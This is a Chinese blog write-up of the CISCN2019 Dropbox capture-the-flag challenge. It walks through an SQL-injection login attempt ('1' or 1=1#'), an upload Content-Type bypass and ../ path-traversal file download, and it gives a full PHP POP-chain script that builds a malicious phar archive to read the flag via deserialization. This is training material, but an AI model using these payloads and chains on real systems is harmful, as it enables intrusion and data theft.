目录
。。。
代码审计
Phar反序列化
引入一个 Y4师傅的文章,这里我就不班门弄斧:[CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
要简单了解的是phar的四个部分:
1,stub
phar 文件的表示,以 xxxxxx 为固定形式,前面内容可以变,点必须 __HALT__COMPILER();?>结尾。
2,a mainfest describing the contents
该部分是phar文件中被压缩的文件的一些信息,其中meta-data部分的信息会被序列化,即执行serialize()函数,而phar://就相当于对这部分的内容进行反序列化,此处也正是漏洞点所在。
3,the file contents
这部分存储的是文件的内容,在没有其它特殊要求的情况下,这里面的内容不做约束。
4. a signature for verifying Phar integrity
数字前面 ,在最末尾。
1. phar 文件可以上传至服务器。
2. 文件操作入 file_exists() .file_get_content(),fopen() ,要有可利用的魔术方法作为跳板
3.文件流参数可控,且phar://协议可用 / phar 等特殊字符没有被过滤

看到登录框,先 用万能密码 1' or 1=1# 试了一下 没有反应。就注册一个账号登进去。
进入以后我们发现左上角有一个上传文件的功能,然后我们先随便建个文档上传提交,发现它要求得文件类型只能是gif/jpg/png的类型,然后进一步测试发现,只更改文件后缀名是没有用的,需要抓包更改其Content-Type为image/jpeg或其它图片格式的对应字符串。

就算你上传 1.php 文件,他也会自动改成png 格式。
上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。
抓包看 ,确实如此

filename 是可控的,我们试着 下载 flag.txt 发现是不行的,无奈之下只能下载一些 所有功能的源代码。 不过要注意的是 , 文件都放在 上上级目录了,所以我们 下载文件 需要加上 ../ ../

主要看 class.php 文件,因为有file_get_contents函数,可以让我们读取flag。
- error_reporting(0);
- $dbaddr = "127.0.0.1";
- $dbuser = "root";
- $dbpass = "root";
- $dbname = "dropbox";
- $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
-
- class User {
- public $db;
-
- public function __construct() {
- global $db;
- $this->db = $db;
- }
-
- public function user_exist($username) {
- $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->store_result();
- $count = $stmt->num_rows;
- if ($count === 0) {
- return false;
- }
- return true;
- }
-
- public function add_user($username, $password) {
- if ($this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
- $stmt->bind_param("ss", $username, $password);
- $stmt->execute();
- return true;
- }
-
- public function verify_user($username, $password) {
- if (!$this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->bind_result($expect);
- $stmt->fetch();
- if (isset($expect) && $expect === $password) {
- return true;
- }
- return false;
- }
-
- public function __destruct() {
- $this->db->close();
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
-
- public function __construct($path) {
- $this->files = array();
- $this->results = array();
- $this->funcs = array();
- $filenames = scandir($path);
-
- $key = array_search(".", $filenames);
- unset($filenames[$key]);
- $key = array_search("..", $filenames);
- unset($filenames[$key]);
-
- foreach ($filenames as $filename) {
- $file = new File();
- $file->open($path . $filename);
- array_push($this->files, $file);
- $this->results[$file->name()] = array();
- }
- }
-
- public function __call($func, $args) {
- array_push($this->funcs, $func);
- foreach ($this->files as $file) {
- $this->results[$file->name()][$func] = $file->$func();
- }
- }
-
- public function __destruct() {
- $table = '
';- $table .= '
';- foreach ($this->funcs as $func) {
- $table .= '
' . htmlentities($func) . ' '; - }
- $table .= '
Opt '; - $table .= '
';- foreach ($this->results as $filename => $result) {
- }
- echo $table;
- }
- }
-
- class File {
- public $filename;
-
- public function open($filename) {
- $this->filename = $filename;
- if (file_exists($filename) && !is_dir($filename)) {
- return true;
- } else {
- return false;
- }
- }
-
- public function name() {
- return basename($this->filename);
- }
-
- public function size() {
- $size = filesize($this->filename);
- $units = array(' B', ' KB', ' MB', ' GB', ' TB');
- for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
- return round($size, 2).$units[$i];
- }
-
- public function detele() {
- unlink($this->filename);
- }
-
- public function close() {
- return file_get_contents($this->filename);
- }
- }
- ?>
这个利用点 file_get_contents 没有对 关键字进行过滤,所以 我们肯定是利用这个函数来获取flag 的。 所以我们应该怎么样利用呢?
首先是定义的 close 函数,我们跳转到哪里调用了这个close()
跟进代码,看到是User类 的__destrust() 调用了 close()

所以我们简单的逻辑 就是: User-> __destruct() =>File -> close() -> 读取flag。
但是 试了一下,并没有回显,此时,我在前提条件说过,第二条要有可用魔术方法作为跳板,class.php 有一个 __call() 方法可以使用,恐怕想不利用他们都不行了。。。

如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
$user -> __destruct() => $db -> close() => $db->__call(close) => $file -> close() =>$results=file_get_contents($filename) => FileList->__destruct()输出$result。
返回读取结果:
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
pop链:
- class User {
- public $db;
- public function __construct(){
- $this->db=new FileList();
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
- public function __construct(){
- $this->files=array(new File());
- $this->results=array();
- $this->funcs=array();
- }
- }
-
- class File {
- public $filename="/flag.txt";
- }
-
- $user = new User();
- $phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
- $phar-> startBuffering();
- $phar->setStub("GIF89a"); //设置stub
- $phar->setMetadata($user); //将对象user写入到metadata中
- $phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy
- $phar->stopBuffering();
注意:想要生成phar文件记得把php.ini中的phar.readonly选项设置为Off,否则将无法生成phar文件
生成phar文件:

改后缀上传:

抓取delete.php的数据包,修改post提交的数据:

得到flag。
参考文章:
[CISCN2019 华北赛区 Day1 Web1]Dropbox之愚见 - 简书 (jianshu.com)
[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_Red snow的博客-CSDN博客
(1条消息) [CTF]PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
-
相关阅读:
HTML小游戏4 —— 简易版英雄联盟(附完整源码)
外国电影字幕翻译,怎么把英文字幕翻译成中文字幕?
第15讲:DCL类型的SQL语句之用户权限控制
基于Java毕业设计智能导诊系统源码+系统+mysql+lw文档+部署软件
Android中获取手机SIM卡的各种信息
Windows UIA自动化测试框架学习--获取qq好友列表
春运“火车票难买”,用微信小程序抢到票的用户都笑了
七年码农路
Maven 私服搭建指南
学 Go,最常用的技能是什么?打日志
-
原文地址:https://blog.csdn.net/snowlyzz/article/details/126698275
-
最新文章
-
沪漂五周年了:我越来越迷茫了
Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
MySQL-Seconds_behind_master的精度误差
[MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
Agent OS :五种驯服不确定性的范式
PortSwigger SQL注入LAB11
数据库即时编译JIT
[Begin]AI Learn Data Day 0
深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU